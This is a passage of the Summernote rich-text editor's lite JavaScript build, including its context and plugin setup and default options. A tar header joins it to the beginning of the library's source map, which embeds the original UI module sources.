}; HintPopover.prototype.moveUp = function () { var $current = this.$content.find('.note-hint-item.active'); var $prev = $current.prev(); if ($prev.length) { this.selectItem($prev); } else { var $prevGroup = $current.parent().prev(); if (!$prevGroup.length) { $prevGroup = this.$content.find('.note-hint-group').last(); } this.selectItem($prevGroup.find('.note-hint-item').last()); } }; HintPopover.prototype.replace = function () { var $item = this.$content.find('.note-hint-item.active'); if ($item.length) { var node = this.nodeFromItem($item); // XXX: consider to move codes to editor for recording redo/undo. this.lastWordRange.insertNode(node); range.createFromNode(node).collapse().select(); this.lastWordRange = null; this.hide(); this.context.triggerEvent('change', this.$editable.html(), this.$editable[0]); this.context.invoke('editor.focus'); } }; HintPopover.prototype.nodeFromItem = function ($item) { var hint = this.hints[$item.data('index')]; var item = $item.data('item'); var node = hint.content ? hint.content(item) : item; if (typeof node === 'string') { node = dom.createText(node); } return node; }; HintPopover.prototype.createItemTemplates = function (hintIdx, items) { var hint = this.hints[hintIdx]; return items.map(function (item, idx) { var $item = $$1('<div class="note-hint-item"/>'); $item.append(hint.template ? hint.template(item) : item + ''); $item.data({ 'index': hintIdx, 'item': item }); return $item; }); }; HintPopover.prototype.handleKeydown = function (e) { if (!this.$popover.is(':visible')) { return; } if (e.keyCode === key.code.ENTER) { e.preventDefault(); this.replace(); } else if (e.keyCode === key.code.UP) { e.preventDefault(); this.moveUp(); } else if (e.keyCode === key.code.DOWN) { e.preventDefault(); this.moveDown(); } }; HintPopover.prototype.searchKeyword = function (index, keyword, callback) { var hint = this.hints[index]; if (hint && hint.match.test(keyword) && hint.search) { var matches = hint.match.exec(keyword); hint.search(matches[1], callback); } else { callback(); } }; HintPopover.prototype.createGroup = function (idx, keyword) { var _this = this; var $group = $$1('<div class="note-hint-group note-hint-group-' + idx + '"/>'); this.searchKeyword(idx, keyword, function (items) { items = items || []; if (items.length) { $group.html(_this.createItemTemplates(idx, items)); _this.show(); } }); return $group; }; HintPopover.prototype.handleKeyup = function (e) { var _this = this; if (!lists.contains([key.code.ENTER, key.code.UP, key.code.DOWN], e.keyCode)) { var wordRange = this.context.invoke('editor.createRange').getWordRange(); var keyword_1 = wordRange.toString(); if (this.hints.length && keyword_1) { this.$content.empty(); var bnd = func.rect2bnd(lists.last(wordRange.getClientRects())); if (bnd) { this.$popover.hide(); this.lastWordRange = wordRange; this.hints.forEach(function (hint, idx) { if (hint.match.test(keyword_1)) { _this.createGroup(idx, keyword_1).appendTo(_this.$content); } }); // select first .note-hint-item this.$content.find('.note-hint-item:first').addClass('active'); // set position for popover after group is created if (this.direction === 'top') { this.$popover.css({ left: bnd.left, top: bnd.top - this.$popover.outerHeight() - POPOVER_DIST }); } else { this.$popover.css({ left: bnd.left, top: bnd.top + bnd.height + POPOVER_DIST }); } } } else { this.hide(); } } }; HintPopover.prototype.show = function () { this.$popover.show(); }; HintPopover.prototype.hide = function () { this.$popover.hide(); }; return HintPopover; }()); var Context = /** @class */ (function () { /** * @param {jQuery} $note * @param {Object} options */ function Context($note, options) { this.ui = $$1.summernote.ui; this.$note = $note; this.memos = {}; this.modules = {}; this.layoutInfo = {}; this.options = options; this.initialize(); } /** * create layout and initialize modules and other resources */ Context.prototype.initialize = function () { this.layoutInfo = this.ui.createLayout(this.$note, this.options); this._initialize(); this.$note.hide(); return this; }; /** * destroy modules and other resources and remove layout */ Context.prototype.destroy = function () { this._destroy(); this.$note.removeData('summernote'); this.ui.removeLayout(this.$note, this.layoutInfo); }; /** * destory modules and other resources and initialize it again */ Context.prototype.reset = function () { var disabled = this.isDisabled(); this.code(dom.emptyPara); this._destroy(); this._initialize(); if (disabled) { this.disable(); } }; Context.prototype._initialize = function () { var _this = this; // add optional buttons var buttons = $$1.extend({}, this.options.buttons); Object.keys(buttons).forEach(function (key) { _this.memo('button.' + key, buttons[key]); }); var modules = $$1.extend({}, this.options.modules, $$1.summernote.plugins || {}); // add and initialize modules Object.keys(modules).forEach(function (key) { _this.module(key, modules[key], true); }); Object.keys(this.modules).forEach(function (key) { _this.initializeModule(key); }); }; Context.prototype._destroy = function () { var _this = this; // destroy modules with reversed order Object.keys(this.modules).reverse().forEach(function (key) { _this.removeModule(key); }); Object.keys(this.memos).forEach(function (key) { _this.removeMemo(key); }); // trigger custom onDestroy callback this.triggerEvent('destroy', this); }; Context.prototype.code = function (html) { var isActivated = this.invoke('codeview.isActivated'); if (html === undefined) { this.invoke('codeview.sync'); return isActivated ? this.layoutInfo.codable.val() : this.layoutInfo.editable.html(); } else { if (isActivated) { this.layoutInfo.codable.val(html); } else { this.layoutInfo.editable.html(html); } this.$note.val(html); this.triggerEvent('change', html); } }; Context.prototype.isDisabled = function () { return this.layoutInfo.editable.attr('contenteditable') === 'false'; }; Context.prototype.enable = function () { this.layoutInfo.editable.attr('contenteditable', true); this.invoke('toolbar.activate', true); this.triggerEvent('disable', false); }; Context.prototype.disable = function () { // close codeview if codeview is opend if (this.invoke('codeview.isActivated')) { this.invoke('codeview.deactivate'); } this.layoutInfo.editable.attr('contenteditable', false); this.invoke('toolbar.deactivate', true); this.triggerEvent('disable', true); }; Context.prototype.triggerEvent = function () { var namespace = lists.head(arguments); var args = lists.tail(lists.from(arguments)); var callback = this.options.callbacks[func.namespaceToCamel(namespace, 'on')]; if (callback) { callback.apply(this.$note[0], args); } this.$note.trigger('summernote.' + namespace, args); }; Context.prototype.initializeModule = function (key) { var module = this.modules[key]; module.shouldInitialize = module.shouldInitialize || func.ok; if (!module.shouldInitialize()) { return; } // initialize module if (module.initialize) { module.initialize(); } // attach events if (module.events) { dom.attachEvents(this.$note, module.events); } }; Context.prototype.module = function (key, ModuleClass, withoutIntialize) { if (arguments.length === 1) { return this.modules[key]; } this.modules[key] = new ModuleClass(this); if (!withoutIntialize) { this.initializeModule(key); } }; Context.prototype.removeModule = function (key) { var module = this.modules[key]; if (module.shouldInitialize()) { if (module.events) { dom.detachEvents(this.$note, module.events); } if (module.destroy) { module.destroy(); } } delete this.modules[key]; }; Context.prototype.memo = function (key, obj) { if (arguments.length === 1) { return this.memos[key]; } this.memos[key] = obj; }; Context.prototype.removeMemo = function (key) { if (this.memos[key] && this.memos[key].destroy) { this.memos[key].destroy(); } delete this.memos[key]; }; /** * Some buttons need to change their visual style immediately once they get pressed */ Context.prototype.createInvokeHandlerAndUpdateState = function (namespace, value) { var _this = this; return function (event) { _this.createInvokeHandler(namespace, value)(event); _this.invoke('buttons.updateCurrentStyle'); }; }; Context.prototype.createInvokeHandler = function (namespace, value) { var _this = this; return function (event) { event.preventDefault(); var $target = $$1(event.target); _this.invoke(namespace, value || $target.closest('[data-value]').data('value'), $target); }; }; Context.prototype.invoke = function () { var namespace = lists.head(arguments); var args = lists.tail(lists.from(arguments)); var splits = namespace.split('.'); var hasSeparator = splits.length > 1; var moduleName = hasSeparator && lists.head(splits); var methodName = hasSeparator ? lists.last(splits) : lists.head(splits); var module = this.modules[moduleName || 'editor']; if (!moduleName && this[methodName]) { return this[methodName].apply(this, args); } else if (module && module[methodName] && module.shouldInitialize()) { return module[methodName].apply(module, args); } }; return Context; }()); $$1.fn.extend({ /** * Summernote API * * @param {Object|String} * @return {this} */ summernote: function () { var type = $$1.type(lists.head(arguments)); var isExternalAPICalled = type === 'string'; var hasInitOptions = type === 'object'; var options = $$1.extend({}, $$1.summernote.options, hasInitOptions ? lists.head(arguments) : {}); // Update options options.langInfo = $$1.extend(true, {}, $$1.summernote.lang['en-US'], $$1.summernote.lang[options.lang]); options.icons = $$1.extend(true, {}, $$1.summernote.options.icons, options.icons); options.tooltip = options.tooltip === 'auto' ? !env.isSupportTouch : options.tooltip; this.each(function (idx, note) { var $note = $$1(note); if (!$note.data('summernote')) { var context = new Context($note, options); $note.data('summernote', context); $note.data('summernote').triggerEvent('init', context.layoutInfo); } }); var $note = this.first(); if ($note.length) { var context = $note.data('summernote'); if (isExternalAPICalled) { return context.invoke.apply(context, lists.from(arguments)); } else if (options.focus) { context.invoke('editor.focus'); } } return this; } }); $$1.summernote = $$1.extend($$1.summernote, { version: '0.8.10', ui: ui, plugins: {}, options: { modules: { 'editor': Editor, 'clipboard': Clipboard, 'dropzone': Dropzone, 'codeview': CodeView, 'statusbar': Statusbar, 'fullscreen': Fullscreen, 'handle': Handle, // FIXME: HintPopover must be front of autolink // - Script error about range when Enter key is pressed on hint popover 'hintPopover': HintPopover, 'autoLink': AutoLink, 'autoSync': AutoSync, 'placeholder': Placeholder, 'buttons': Buttons, 'toolbar': Toolbar, 'linkDialog': LinkDialog, 'linkPopover': LinkPopover, 'imageDialog': ImageDialog, 'imagePopover': ImagePopover, 'tablePopover': TablePopover, 'videoDialog': VideoDialog, 'helpDialog': HelpDialog, 'airPopover': AirPopover }, buttons: {}, lang: 'en-US', followingToolbar: true, otherStaticBar: '', // toolbar toolbar: [ ['style', ['style']], ['font', ['bold', 'underline', 'clear']], ['fontname', ['fontname']], ['fontsize', ['fontsize']], ['color', ['color']], ['para', ['ul', 'ol', 'paragraph']], ['table', ['table']], ['insert', ['link', 'picture', 'video']], ['view', ['fullscreen', 'codeview', 'help']] ], // popover popatmouse: true, popover: { image: [ ['imagesize', ['imageSize100', 'imageSize50', 'imageSize25']], ['float', ['floatLeft', 'floatRight', 'floatNone']], ['remove', ['removeMedia']] ], link: [ ['link', ['linkDialogShow', 'unlink']] ], table: [ ['add', ['addRowDown', 'addRowUp', 'addColLeft', 'addColRight']], ['delete', ['deleteRow', 'deleteCol', 'deleteTable']] ], air: [ ['color', ['color']], ['font', ['bold', 'underline', 'clear']], ['para', ['ul', 'paragraph']], ['table', ['table']], ['insert', ['link', 'picture']] ] }, // air mode: inline editor airMode: false, width: null, height: null, focus: false, tabSize: 4, styleWithSpan: true, shortcuts: true, textareaAutoSync: true, hintDirection: 'bottom', tooltip: 'auto', container: 'body', maxTextLength: 0, styleTags: ['p', 'pre', 'h1', 'h2', 'h3', 'h4', 'h5', 'h6'], fontNames: [ 'Arial', 'Arial Black', 'Comic Sans MS', 'Courier New', 'Helvetica Neue', 'Helvetica', 'Impact', 'Lucida Grande', 'Tahoma', 'Times New Roman', 'Verdana' ], fontSizes: ['8', '9', '10', '11', '12', '14', '18', '24', '36'], // pallete colors(n x n) colors: [ ['#000000', '#424242', '#636363', '#9C9C94', '#CEC6CE', '#EFEFEF', '#F7F7F7', '#FFFFFF'], ['#FF0000', '#FF9C00', '#FFFF00', '#00FF00', '#00FFFF', '#0000FF', '#9C00FF', '#FF00FF'], ['#F7C6CE', '#FFE7CE', '#FFEFC6', '#D6EFD6', '#CEDEE7', '#CEE7F7', '#D6D6E7', '#E7D6DE'], ['#E79C9C', '#FFC69C', '#FFE79C', '#B5D6A5', '#A5C6CE', '#9CC6EF', '#B5A5D6', '#D6A5BD'], ['#E76363', '#F7AD6B', '#FFD663', '#94BD7B', '#73A5AD', '#6BADDE', '#8C7BC6', '#C67BA5'], ['#CE0000', '#E79439', '#EFC631', '#6BA54A', '#4A7B8C', '#3984C6', '#634AA5', '#A54A7B'], ['#9C0000', '#B56308', '#BD9400', '#397B21', '#104A5A', '#085294', '#311873', '#731842'], ['#630000', '#7B3900', '#846300', '#295218', '#083139', '#003163', '#21104A', '#4A1031'] ], // http://chir.ag/projects/name-that-color/ colorsName: [ ['Black', 'Tundora', 'Dove Gray', 'Star Dust', 'Pale Slate', 'Gallery', 'Alabaster', 'White'], ['Red', 'Orange Peel', 'Yellow', 'Green', 'Cyan', 'Blue', 'Electric Violet', 'Magenta'], ['Azalea', 'Karry', 'Egg White', 'Zanah', 'Botticelli', 'Tropical Blue', 'Mischka', 'Twilight'], ['Tonys Pink', 'Peach Orange', 'Cream Brulee', 'Sprout', 'Casper', 'Perano', 'Cold Purple', 'Careys Pink'], ['Mandy', 'Rajah', 'Dandelion', 'Olivine', 'Gulf Stream', 'Viking', 'Blue Marguerite', 'Puce'], ['Guardsman Red', 'Fire Bush', 'Golden Dream', 'Chelsea Cucumber', 'Smalt Blue', 'Boston Blue', 'Butterfly Bush', 'Cadillac'], ['Sangria', 'Mai Tai', 'Buddha Gold', 'Forest Green', 'Eden', 'Venice Blue', 'Meteorite', 'Claret'], ['Rosewood', 'Cinnamon', 'Olive', 'Parsley', 'Tiber', 'Midnight Blue', 'Valentino', 'Loulou'] ], lineHeights: ['1.0', '1.2', '1.4', '1.5', '1.6', '1.8', '2.0', '3.0'], tableClassName: 'table table-bordered', insertTableMaxSize: { col: 10, row: 10 }, dialogsInBody: false, dialogsFade: false, maximumImageFileSize: null, callbacks: { onInit: null, onFocus: null, onBlur: null, onBlurCodeview: null, onEnter: null, onKeyup: null, onKeydown: null, onSubmit: null, onImageUpload: null, onImageUploadError: null }, codemirror: { mode: 'text/html', htmlMode: true, lineNumbers: true }, keyMap: { pc: { 'ENTER': 'insertParagraph', 'CTRL+Z': 'undo', 'CTRL+Y': 'redo', 'TAB': 'tab', 'SHIFT+TAB': 'untab', 'CTRL+B': 'bold', 'CTRL+I': 'italic', 'CTRL+U': 'underline', 'CTRL+SHIFT+S': 'strikethrough', 'CTRL+BACKSLASH': 'removeFormat', 'CTRL+SHIFT+L': 'justifyLeft', 'CTRL+SHIFT+E': 'justifyCenter', 'CTRL+SHIFT+R': 'justifyRight', 'CTRL+SHIFT+J': 'justifyFull', 'CTRL+SHIFT+NUM7': 'insertUnorderedList', 'CTRL+SHIFT+NUM8': 'insertOrderedList', 'CTRL+LEFTBRACKET': 'outdent', 'CTRL+RIGHTBRACKET': 'indent', 'CTRL+NUM0': 'formatPara', 'CTRL+NUM1': 'formatH1', 'CTRL+NUM2': 'formatH2', 'CTRL+NUM3': 'formatH3', 'CTRL+NUM4': 'formatH4', 'CTRL+NUM5': 'formatH5', 'CTRL+NUM6': 'formatH6', 'CTRL+ENTER': 'insertHorizontalRule', 'CTRL+K': 'linkDialog.show' }, mac: { 'ENTER': 'insertParagraph', 'CMD+Z': 'undo', 'CMD+SHIFT+Z': 'redo', 'TAB': 'tab', 'SHIFT+TAB': 'untab', 'CMD+B': 'bold', 'CMD+I': 'italic', 'CMD+U': 'underline', 'CMD+SHIFT+S': 'strikethrough', 'CMD+BACKSLASH': 'removeFormat', 'CMD+SHIFT+L': 'justifyLeft', 'CMD+SHIFT+E': 'justifyCenter', 'CMD+SHIFT+R': 'justifyRight', 'CMD+SHIFT+J': 'justifyFull', 'CMD+SHIFT+NUM7': 'insertUnorderedList', 'CMD+SHIFT+NUM8': 'insertOrderedList', 'CMD+LEFTBRACKET': 'outdent', 'CMD+RIGHTBRACKET': 'indent', 'CMD+NUM0': 'formatPara', 'CMD+NUM1': 'formatH1', 'CMD+NUM2': 'formatH2', 'CMD+NUM3': 'formatH3', 'CMD+NUM4': 'formatH4', 'CMD+NUM5': 'formatH5', 'CMD+NUM6': 'formatH6', 'CMD+ENTER': 'insertHorizontalRule', 'CMD+K': 'linkDialog.show' } }, icons: { 'align': 'note-icon-align', 'alignCenter': 'note-icon-align-center', 'alignJustify': 'note-icon-align-justify', 'alignLeft': 'note-icon-align-left', 'alignRight': 'note-icon-align-right', 'rowBelow': 'note-icon-row-below', 'colBefore': 'note-icon-col-before', 'colAfter': 'note-icon-col-after', 'rowAbove': 'note-icon-row-above', 'rowRemove': 'note-icon-row-remove', 'colRemove': 'note-icon-col-remove', 'indent': 'note-icon-align-indent', 'outdent': 'note-icon-align-outdent', 'arrowsAlt': 'note-icon-arrows-alt', 'bold': 'note-icon-bold', 'caret': 'note-icon-caret', 'circle': 'note-icon-circle', 'close': 'note-icon-close', 'code': 'note-icon-code', 'eraser': 'note-icon-eraser', 'font': 'note-icon-font', 'frame': 'note-icon-frame', 'italic': 'note-icon-italic', 'link': 'note-icon-link', 'unlink': 'note-icon-chain-broken', 'magic': 'note-icon-magic', 'menuCheck': 'note-icon-menu-check', 'minus': 'note-icon-minus', 'orderedlist': 'note-icon-orderedlist', 'pencil': 'note-icon-pencil', 'picture': 'note-icon-picture', 'question': 'note-icon-question', 'redo': 'note-icon-redo', 'square': 'note-icon-square', 'strikethrough': 'note-icon-strikethrough', 'subscript': 'note-icon-subscript', 'superscript': 'note-icon-superscript', 'table': 'note-icon-table', 'textHeight': 'note-icon-text-height', 'trash': 'note-icon-trash', 'underline': 'note-icon-underline', 'undo': 'note-icon-undo', 'unorderedlist': 'note-icon-unorderedlist', 'video': 'note-icon-video' } } }); }))); //# sourceMappingURL=summernote-lite.js.map summernote-lite.js.map000064400001650621151677331550011037 0ustar00{"version":3,"file":"summernote-lite.js","sources":["../src/js/base/renderer.js","../src/js/lite/ui/TooltipUI.js","../src/js/lite/ui/DropdownUI.js","../src/js/lite/ui/ModalUI.js","../src/js/lite/ui.js","../src/js/base/summernote-en-US.js","../src/js/base/core/env.js","../src/js/base/core/func.js","../src/js/base/core/lists.js","../src/js/base/core/key.js","../src/js/base/core/dom.js","../src/js/base/core/range.js","../src/js/base/core/async.js","../src/js/base/editing/History.js","../src/js/base/editing/Style.js","../src/js/base/editing/Bullet.js","../src/js/base/editing/Typing.js","../src/js/base/editing/Table.js","../src/js/base/module/Editor.js","../src/js/base/module/Clipboard.js","../src/js/base/module/Dropzone.js","../src/js/base/module/Codeview.js","../src/js/base/module/Statusbar.js","../src/js/base/module/Fullscreen.js","../src/js/base/module/Handle.js","../src/js/base/module/AutoLink.js","../src/js/base/module/AutoSync.js","../src/js/base/module/Placeholder.js","../src/js/base/module/Buttons.js","../src/js/base/module/Toolbar.js","../src/js/base/module/LinkDialog.js","../src/js/base/module/LinkPopover.js","../src/js/base/module/ImageDialog.js","../src/js/base/module/ImagePopover.js","../src/js/base/module/TablePopover.js","../src/js/base/module/VideoDialog.js","../src/js/base/module/HelpDialog.js","../src/js/base/module/AirPopover.js","../src/js/base/module/HintPopover.js","../src/js/base/Context.js","../src/js/summernote.js","../src/js/lite/settings.js"],"sourcesContent":["import $ from 'jquery';\n\nclass Renderer {\n constructor(markup, children, options, callback) {\n this.markup = markup;\n this.children = children;\n this.options = options;\n this.callback = callback;\n }\n\n render($parent) {\n const $node = $(this.markup);\n\n if (this.options && this.options.contents) {\n $node.html(this.options.contents);\n }\n\n if (this.options && this.options.className) {\n $node.addClass(this.options.className);\n }\n\n if (this.options && this.options.data) {\n $.each(this.options.data, (k, v) => {\n $node.attr('data-' + k, v);\n });\n }\n\n if (this.options && this.options.click) {\n $node.on('click', this.options.click);\n }\n\n if (this.children) {\n const $container = $node.find('.note-children-container');\n this.children.forEach((child) => {\n child.render($container.length ? $container : $node);\n });\n }\n\n if (this.callback) {\n this.callback($node, this.options);\n }\n\n if (this.options && this.options.callback) {\n this.options.callback($node);\n }\n\n if ($parent) {\n $parent.append($node);\n }\n\n return $node;\n }\n}\n\nexport default {\n create: (markup, callback) => {\n return () => {\n const options = typeof arguments[1] === 'object' ? arguments[1] : arguments[0];\n let children = $.isArray(arguments[0]) ? arguments[0] : [];\n if (options && options.children) {\n children = options.children;\n }\n return new Renderer(markup, children, options, callback);\n };\n }\n};\n","class TooltipUI {\n constructor($node, options) {\n this.$node = $node;\n this.options = $.extend({}, {\n title: '',\n target: options.container,\n trigger: 'hover focus',\n placement: 'bottom'\n }, options);\n\n // create tooltip node\n this.$tooltip = $([\n '<div class=\"note-tooltip in\">',\n ' <div class=\"note-tooltip-arrow\"/>',\n ' <div class=\"note-tooltip-content\"/>',\n '</div>'\n ].join(''));\n\n // define event\n if (this.options.trigger !== 'manual') {\n const showCallback = this.show.bind(this);\n const hideCallback = this.hide.bind(this);\n const toggleCallback = this.toggle.bind(this);\n\n this.options.trigger.split(' ').forEach(function(eventName) {\n if (eventName === 'hover') {\n $node.off('mouseenter mouseleave');\n $node.on('mouseenter', showCallback).on('mouseleave', hideCallback);\n } else if (eventName === 'click') {\n $node.on('click', toggleCallback);\n } else if (eventName === 'focus') {\n $node.on('focus', showCallback).on('blur', hideCallback);\n }\n });\n }\n }\n\n show() {\n const $node = this.$node;\n const offset = $node.offset();\n\n const $tooltip = this.$tooltip;\n const title = this.options.title || $node.attr('title') || $node.data('title');\n const placement = this.options.placement || $node.data('placement');\n\n $tooltip.addClass(placement);\n $tooltip.addClass('in');\n $tooltip.find('.note-tooltip-content').text(title);\n $tooltip.appendTo(this.options.target);\n\n const nodeWidth = $node.outerWidth();\n const nodeHeight = $node.outerHeight();\n const tooltipWidth = $tooltip.outerWidth();\n const tooltipHeight = $tooltip.outerHeight();\n\n if (placement === 'bottom') {\n $tooltip.css({\n top: offset.top + nodeHeight,\n left: offset.left + (nodeWidth / 2 - tooltipWidth / 2)\n });\n } else if (placement === 'top') {\n $tooltip.css({\n top: offset.top - tooltipHeight,\n left: offset.left + (nodeWidth / 2 - tooltipWidth / 2)\n });\n } else if (placement === 'left') {\n $tooltip.css({\n top: offset.top + (nodeHeight / 2 - tooltipHeight / 2),\n left: offset.left - tooltipWidth\n });\n } else if (placement === 'right') {\n $tooltip.css({\n top: offset.top + (nodeHeight / 2 - tooltipHeight / 2),\n left: offset.left + nodeWidth\n });\n }\n }\n\n hide() {\n this.$tooltip.removeClass('in');\n this.$tooltip.remove();\n }\n\n toggle() {\n if (this.$tooltip.hasClass('in')) {\n this.hide();\n } else {\n this.show();\n }\n }\n}\n\nexport default TooltipUI;\n","class DropdownUI {\n constructor($node, options) {\n this.$button = $node;\n this.options = $.extend({}, {\n target: options.container\n }, options);\n this.setEvent();\n }\n\n setEvent() {\n this.$button.on('click', this.toggle.bind(this));\n }\n\n clear() {\n var $parent = $('.note-btn-group.open');\n $parent.find('.note-btn.active').removeClass('active');\n $parent.removeClass('open');\n }\n\n show() {\n this.$button.addClass('active');\n this.$button.parent().addClass('open');\n\n var $dropdown = this.$button.next();\n var offset = $dropdown.offset();\n var width = $dropdown.outerWidth();\n var windowWidth = $(window).width();\n var targetMarginRight = parseFloat($(this.options.target).css('margin-right'));\n\n if (offset.left + width > windowWidth - targetMarginRight) {\n $dropdown.css('margin-left', windowWidth - targetMarginRight - (offset.left + width));\n } else {\n $dropdown.css('margin-left', '');\n }\n }\n\n hide() {\n this.$button.removeClass('active');\n this.$button.parent().removeClass('open');\n }\n\n toggle() {\n var isOpened = this.$button.parent().hasClass('open');\n\n this.clear();\n\n if (isOpened) {\n this.hide();\n } else {\n this.show();\n }\n }\n}\n\n$(document).on('click', function(e) {\n if (!$(e.target).closest('.note-btn-group').length) {\n $('.note-btn-group.open').removeClass('open');\n }\n});\n\n$(document).on('click.note-dropdown-menu', function(e) {\n $(e.target).closest('.note-dropdown-menu').parent().removeClass('open');\n});\n\nexport default DropdownUI;\n","class ModalUI {\n constructor($node, options) {\n this.options = $.extend({}, {\n target: options.container || 'body'\n }, options);\n\n this.$modal = $node;\n this.$backdrop = $('<div class=\"note-modal-backdrop\" />');\n }\n\n show() {\n if (this.options.target === 'body') {\n this.$backdrop.css('position', 'fixed');\n this.$modal.css('position', 'fixed');\n } else {\n this.$backdrop.css('position', 'absolute');\n this.$modal.css('position', 'absolute');\n }\n\n this.$backdrop.appendTo(this.options.target).show();\n this.$modal.appendTo(this.options.target).addClass('open').show();\n\n this.$modal.trigger('note.modal.show');\n this.$modal.off('click', '.close').on('click', '.close', this.hide.bind(this));\n }\n\n hide() {\n this.$modal.removeClass('open').hide();\n this.$backdrop.hide();\n this.$modal.trigger('note.modal.hide');\n }\n}\n\nexport default ModalUI;\n","import renderer from '../base/renderer';\nimport TooltipUI from './ui/TooltipUI';\nimport DropdownUI from './ui/DropdownUI';\nimport ModalUI from './ui/ModalUI';\n\nconst editor = renderer.create('<div class=\"note-editor note-frame\"/>');\nconst toolbar = renderer.create('<div class=\"note-toolbar\" role=\"toolbar\"/>');\nconst editingArea = renderer.create('<div class=\"note-editing-area\"/>');\nconst codable = renderer.create('<textarea class=\"note-codable\" role=\"textbox\" aria-multiline=\"true\"/>');\nconst editable = renderer.create('<div class=\"note-editable\" contentEditable=\"true\" role=\"textbox\" aria-multiline=\"true\"/>');\nconst statusbar = renderer.create([\n '<output class=\"note-status-output\" role=\"status\" aria-live=\"polite\"/>',\n '<div class=\"note-statusbar\" role=\"resize\">',\n ' <div class=\"note-resizebar\" role=\"seperator\" aria-orientation=\"horizontal\" aria-label=\"resize\">',\n ' <div class=\"note-icon-bar\"/>',\n ' <div class=\"note-icon-bar\"/>',\n ' <div class=\"note-icon-bar\"/>',\n ' </div>',\n '</div>'\n].join(''));\n\nconst airEditor = renderer.create('<div class=\"note-editor\"/>');\nconst airEditable = renderer.create([\n '<output class=\"note-status-output\" role=\"status\" aria-live=\"polite\"/>',\n '<div class=\"note-editable\" contentEditable=\"true\" role=\"textbox\" aria-multiline=\"true\"/>'\n].join(''));\n\nconst buttonGroup = renderer.create('<div class=\"note-btn-group\">');\nconst button = renderer.create('<button type=\"button\" class=\"note-btn\" role=\"button\" tabindex=\"-1\">', function($node, options) {\n // set button type\n if (options && options.tooltip) {\n $node.attr({\n 'aria-label': options.tooltip\n });\n $node.data('_lite_tooltip', new TooltipUI($node, {\n title: options.tooltip,\n container: options.container\n }));\n }\n if (options.contents) {\n $node.html(options.contents);\n }\n\n if (options && options.data && options.data.toggle === 'dropdown') {\n $node.data('_lite_dropdown', new DropdownUI($node, {\n container: options.container\n }));\n }\n});\n\nconst dropdown = renderer.create('<div class=\"note-dropdown-menu\" role=\"list\">', function($node, options) {\n const markup = $.isArray(options.items) ? options.items.map(function(item) {\n const value = (typeof item === 'string') ? item : (item.value || '');\n const content = options.template ? options.template(item) : item;\n const $temp = $('<a class=\"note-dropdown-item\" href=\"#\" data-value=\"' + value + '\" role=\"listitem\" aria-label=\"' + item + '\"></a>');\n\n $temp.html(content).data('item', item);\n\n return $temp;\n }) : options.items;\n\n $node.html(markup).attr({'aria-label': options.title});\n\n $node.on('click', '> .note-dropdown-item', function(e) {\n const $a = $(this);\n\n const item = $a.data('item');\n const value = $a.data('value');\n\n if (item.click) {\n item.click($a);\n } else if (options.itemClick) {\n options.itemClick(e, item, value);\n }\n });\n});\n\nconst dropdownCheck = renderer.create('<div class=\"note-dropdown-menu note-check\" role=\"list\">', function($node, options) {\n const markup = $.isArray(options.items) ? options.items.map(function(item) {\n const value = (typeof item === 'string') ? item : (item.value || '');\n const content = options.template ? options.template(item) : item;\n\n const $temp = $('<a class=\"note-dropdown-item\" href=\"#\" data-value=\"' + value + '\" role=\"listitem\" aria-label=\"' + item + '\"></a>');\n $temp.html([icon(options.checkClassName), ' ', content]).data('item', item);\n return $temp;\n }) : options.items;\n\n $node.html(markup).attr({'aria-label': options.title});\n\n $node.on('click', '> .note-dropdown-item', function(e) {\n const $a = $(this);\n\n const item = $a.data('item');\n const value = $a.data('value');\n\n if (item.click) {\n item.click($a);\n } else if (options.itemClick) {\n options.itemClick(e, item, value);\n }\n });\n});\n\nconst dropdownButtonContents = function(contents, options) {\n return contents + ' ' + icon(options.icons.caret, 'span');\n};\n\nconst dropdownButton = function(opt, callback) {\n return buttonGroup([\n button({\n className: 'dropdown-toggle',\n contents: opt.title + ' ' + icon('note-icon-caret'),\n tooltip: opt.tooltip,\n data: {\n toggle: 'dropdown'\n }\n }),\n dropdown({\n className: opt.className,\n items: opt.items,\n template: opt.template,\n itemClick: opt.itemClick\n })\n ], { callback: callback }).render();\n};\n\nconst dropdownCheckButton = function(opt, callback) {\n return buttonGroup([\n button({\n className: 'dropdown-toggle',\n contents: opt.title + ' ' + icon('note-icon-caret'),\n tooltip: opt.tooltip,\n data: {\n toggle: 'dropdown'\n }\n }),\n dropdownCheck({\n className: opt.className,\n checkClassName: opt.checkClassName,\n items: opt.items,\n template: opt.template,\n itemClick: opt.itemClick\n })\n ], { callback: callback }).render();\n};\n\nconst paragraphDropdownButton = function(opt) {\n return buttonGroup([\n button({\n className: 'dropdown-toggle',\n contents: opt.title + ' ' + icon('note-icon-caret'),\n tooltip: opt.tooltip,\n data: {\n toggle: 'dropdown'\n }\n }),\n dropdown([\n buttonGroup({\n className: 'note-align',\n children: opt.items[0]\n }),\n buttonGroup({\n className: 'note-list',\n children: opt.items[1]\n })\n ])\n ]).render();\n};\n\nconst tableMoveHandler = function(event, col, row) {\n const PX_PER_EM = 18;\n const $picker = $(event.target.parentNode); // target is mousecatcher\n const $dimensionDisplay = $picker.next();\n const $catcher = $picker.find('.note-dimension-picker-mousecatcher');\n const $highlighted = $picker.find('.note-dimension-picker-highlighted');\n const $unhighlighted = $picker.find('.note-dimension-picker-unhighlighted');\n\n let posOffset;\n // HTML5 with jQuery - e.offsetX is undefined in Firefox\n if (event.offsetX === undefined) {\n const posCatcher = $(event.target).offset();\n posOffset = {\n x: event.pageX - posCatcher.left,\n y: event.pageY - posCatcher.top\n };\n } else {\n posOffset = {\n x: event.offsetX,\n y: event.offsetY\n };\n }\n\n const dim = {\n c: Math.ceil(posOffset.x / PX_PER_EM) || 1,\n r: Math.ceil(posOffset.y / PX_PER_EM) || 1\n };\n\n $highlighted.css({ width: dim.c + 'em', height: dim.r + 'em' });\n $catcher.data('value', dim.c + 'x' + dim.r);\n\n if (dim.c > 3 && dim.c < col) {\n $unhighlighted.css({ width: dim.c + 1 + 'em' });\n }\n\n if (dim.r > 3 && dim.r < row) {\n $unhighlighted.css({ height: dim.r + 1 + 'em' });\n }\n\n $dimensionDisplay.html(dim.c + ' x ' + dim.r);\n};\n\nconst tableDropdownButton = function(opt) {\n return buttonGroup([\n button({\n className: 'dropdown-toggle',\n contents: opt.title + ' ' + icon('note-icon-caret'),\n tooltip: opt.tooltip,\n data: {\n toggle: 'dropdown'\n }\n }),\n dropdown({\n className: 'note-table',\n items: [\n '<div class=\"note-dimension-picker\">',\n ' <div class=\"note-dimension-picker-mousecatcher\" data-event=\"insertTable\" data-value=\"1x1\"/>',\n ' <div class=\"note-dimension-picker-highlighted\"/>',\n ' <div 